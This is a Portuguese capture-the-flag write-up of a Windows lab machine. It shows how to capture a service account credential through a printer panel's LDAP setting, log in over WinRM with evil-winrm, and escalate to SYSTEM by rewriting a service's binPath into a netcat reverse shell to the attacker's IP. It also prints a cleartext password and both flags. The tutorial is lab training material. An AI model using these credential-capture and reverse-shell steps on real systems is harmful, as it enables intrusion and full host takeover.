Return

#easy #eJPT #OSCP

Máquina Windows fácil onde abusamos a fraca autenticação de um serviço de impressora conseguindo a credencial de um usuário com permissão para obter acesso ao alvo usando o serviço WinRM. Por fim, exploramos o grupo Server Operators e conseguimos executar um payload malicioso, obtendo uma reverse shell como nt authority/system.

Portscan

Comecei executando um ping no endereço IP do alvo para determinar o sistema operacional em uso. O valor TTL mais próximo de 128 indica que há grandes chances do alvo estar executando um sistema operacional Windows.

attacker> ping -c 1 10.10.11.108
PING 10.10.11.108 (10.10.11.108) 56(84) bytes of data.
64 bytes from 10.10.11.108: icmp_seq=1 ttl=127 time=176 ms

--- 10.10.11.108 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 176.077/176.077/176.077/0.000 ms

Em seguida, executei um escaneamento de porta no alvo para identificar quaisquer portas abertas que pudessem ser usadas para novos ataques. Usei a ferramenta rustscan para verificar todas as portas (1-65535) no alvo. A varredura revelou as portas que estavam abertas e seus respectivos serviços, incluindo DNS, SMB, Microsoft IIS, Kerberos, LDAP e WinRM, atestando que de fato trata-se de um host Windows.

attacker> rustscan -a 10.10.11.108 -r 1-65535 --ulimit 5000 -- -sCV -n -Pn -oX nmap.xml
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
😵 https://admin.tryhackme.com

PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
80/tcp    open  http          syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: HTB Printer Admin Panel
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2022-10-22 22:50:42Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49214/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49671/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49674/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49675/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49679/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49682/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49694/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: PRINTER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2022-10-22T22:51:40
|_  start_date: N/A
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 42913/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 31931/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 26260/udp): CLEAN (Failed to receive data)
|   Check 4 (port 45553/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: 18m45s
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required

Como há muitas portas abertas, para uma melhor visualização utilizei a ferramenta nmap-bootstrap, que transforma a saída xml do nmap em um arquivo html com visual melhorado.

attacker> xsltproc -o nmap.html /opt/tools/nmap-bootstrap-xsl/nmap-bootstrap.xsl nmap.xml

HTTP (80) Enumeration

Em seguida, passei a enumerar o serviço HTTP usando a ferramenta whatweb para coletar informações sobre o software e a versão do servidor web. A ferramenta retornou informações como o software do servidor web (Microsoft-IIS), versão (10.0), linguagem (PHP) e cabeçalhos que foram enviados na resposta HTTP. A ferramenta também revelou o título da página "HTB Printer Admin Panel" e o cabeçalho do servidor "Microsoft-IIS/10.0".

attacker> whatweb 10.10.11.108 -v | tee whatweb.txt
WhatWeb report for http://10.10.11.108
Status    : 200 OK
Title     : HTB Printer Admin Panel
IP        : 10.10.11.108
Country   : RESERVED, ZZ

Summary   : HTML5, HTTPServer[Microsoft-IIS/10.0], Microsoft-IIS[10.0], PHP[7.4.13], Script, X-Powered-By[PHP/7.4.13]
...
HTTP Headers:
        HTTP/1.1 200 OK
        Content-Type: text/html; charset=UTF-8
        Server: Microsoft-IIS/10.0
        X-Powered-By: PHP/7.4.13
        Date: Sat, 22 Oct 2022 23:03:04 GMT
        Connection: close
        Content-Length: 28274

Após acessar o painel de administração de impressora, na guia Settings havia uma autenticação no servidor printer.return.local, porta 389 (ldap), com o nome de usuário svc-printer e sem a exibição da senha.

Printer Abuse

Pensando em formas de abusar dessa autenticação, podemos alterar o "Server Address" para o IP da nossa máquina atacante e tentar receber essa autenticação.

Então, basta nos colocar em escuta com netcat na porta 389 para recebermos esta autenticação e clicar em "Update" no servidor web. A autenticação é fraca e, portanto, conseguimos capturar uma credencial.

attacker> nc -nlvp 389
Listening on 0.0.0.0 389
Connection received on 10.10.11.108 51940
0*`%return\svc-printer�
                       1edFg43012!!

Podemos usar a ferramenta crackmapexec para validar a credencial. Como nos é retornado [+], significa que a credencial é válida.

attacker> crackmapexec smb 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
SMB         10.10.11.108    445    PRINTER          [*] Windows 10.0 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False)
SMB         10.10.11.108    445    PRINTER          [+] return.local\svc-printer:1edFg43012!!

Como a porta 5985 (WinRM) do alvo também está aberta, podemos ver se com essas credenciais podemos acessar esse serviço. Nos é retornado (Pwn3d!), o que significa que este usuário faz parte do grupo Remote Management Users, podendo acessar o host remotamente utilizando o serviço WinRM.

attacker> crackmapexec winrm 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
SMB         10.10.11.108    5985   PRINTER          [*] Windows 10.0 Build 17763 (name:PRINTER) (domain:return.local)
HTTP        10.10.11.108    5985   PRINTER          [*] http://10.10.11.108:5985/wsman
WINRM       10.10.11.108    5985   PRINTER          [+] return.local\svc-printer:1edFg43012!! (Pwn3d!)

Assim, podemos usar a ferramenta evil-winrm para obter esse acesso remoto ao alvo.

attacker> evil-winrm -i 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'

Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc-printer\Documents> whoami
return\svc-printer

Uma vez logado, naveguei até o Desktop do usuário svc-printer e encontrei a flag user.txt.

*Evil-WinRM* PS C:\Users\svc-printer\Desktop> type user.txt
c75ebbf58af22862bec54ef89e3ef6ba

Com essa flag, concluímos o primeiro objetivo do CTF e podemos passar para a próxima etapa de escalar privilégios para obter acesso a flag root.txt.

Privilege Escalation

A próxima etapa foi procurar maneiras de escalar nossos privilégios para Administrator. Com whoami /groups eu identifiquei que o usuário svc-printer fazia parte do grupo Server Operators. Este grupo tem permissões para iniciar e parar serviços no sistema. Portanto, eu pude usar essa informação para escalar meus privilégios.

*Evil-WinRM* PS C:\Users\svc-printer\Desktop> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                 Type             SID          Attributes
========================================== ================ ============ ==================================================
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Server Operators                   Alias            S-1-5-32-549 Mandatory group, Enabled by default, Enabled group
BUILTIN\Print Operators                    Alias            S-1-5-32-550 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users            Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level       Label            S-1-16-12288

Escalation via Server Operators Group

Para iniciar esse processo, precisamos transferir um executável do netcat para o alvo. Ele servirá para nos enviar uma reverse shell como Administrator quando abusarmos do grupo Server Operators.

*Evil-WinRM* PS C:\Windows\Temp> upload nc.exe
Info: Uploading nc.exe to C:\Windows\Temp\nc.exe


Data: 37544 bytes of 37544 bytes copied

Info: Upload successful!

Após isso, podemos listar os serviços presentes no alvo.

*Evil-WinRM* PS C:\Windows\Temp> services

Path                                                                                                                 Privileges Service
----                                                                                                                 ---------- -------
C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe                                                                  True ADWS
\??\C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{5533AFC7-64B3-4F6E-B453-E35320B35716}\MpKslDrv.sys       True MpKslceeb2796
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe                                                              True NetTcpPortSharing
C:\Windows\SysWow64\perfhost.exe                                                                                           True PerfHost
"C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe"                                                False Sense
C:\Windows\servicing\TrustedInstaller.exe                                                                                 False TrustedInstaller
"C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe"                                                     True VGAuthService
"C:\Program Files\VMware\VMware Tools\vmtoolsd.exe"                                                                        True VMTools
"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2104.14-0\NisSrv.exe"                                             True WdNisSvc
"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2104.14-0\MsMpEng.exe"                                            True WinDefend
"C:\Program Files\Windows Media Player\wmpnetwk.exe"                                                                      False WMPNetworkSvc

Usando o executável sc.exe, podemos configurar um serviço para atribuir a ele um comando que nós definirmos. Neste caso será um comando malicioso para enviar uma reverse shell para nossa máquina atacante usando o netcat que transferimos para o alvo.

Depois de testar os serviços um por um, vemos que o serviço VMTools pode ser configurado, assim, podemos definir o comando malicioso nele.

*Evil-WinRM* PS C:\Windows\Temp> sc.exe config VMTools binPath="C:\Windows\Temp\nc.exe -e cmd 10.10.16.49 443"
[SC] ChangeServiceConfig SUCCESS

Depois disso, temos que reiniciar este serviço para que a configuração seja definida. Primeiro, paramos ele com o parâmetro stop.

*Evil-WinRM* PS C:\Windows\Temp> sc.exe stop VMTools

SERVICE_NAME: VMTools
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 1  STOPPED
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

Agora podemos iniciá-lo novamente, isso fará com que ele execute o comando malicioso que configuramos. Antes disso, temos que nos colocar em escuta na máquina de atacante com netcat, para depois iniciar o serviço VMTools do alvo com o parâmetro start.

*Evil-WinRM* PS C:\Windows\Temp> sc.exe start VMTools

Dessa forma, uma vez reiniciado, o serviço VMTools executará o comando C:\Windows\Temp\nc.exe -e cmd 10.10.16.49 443 e nos enviará uma reverse shell privilegiada.

attacker> rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.49] from (UNKNOWN) [10.10.11.108] 63706
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

whoami
whoami
nt authority\system

Então basta ler a flag root.txt no Desktop do Administrator para concluir o objetivo do CTF.

 Directory of C:\Users\Administrator\Desktop

09/27/2021  04:22 AM    <DIR>          .
09/27/2021  04:22 AM    <DIR>          ..
10/22/2022  03:40 PM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   8,825,159,680 bytes free

type root.txt
type root.txt
c380efd2b68deff3cc07ff9780b0ba9d

Atualizado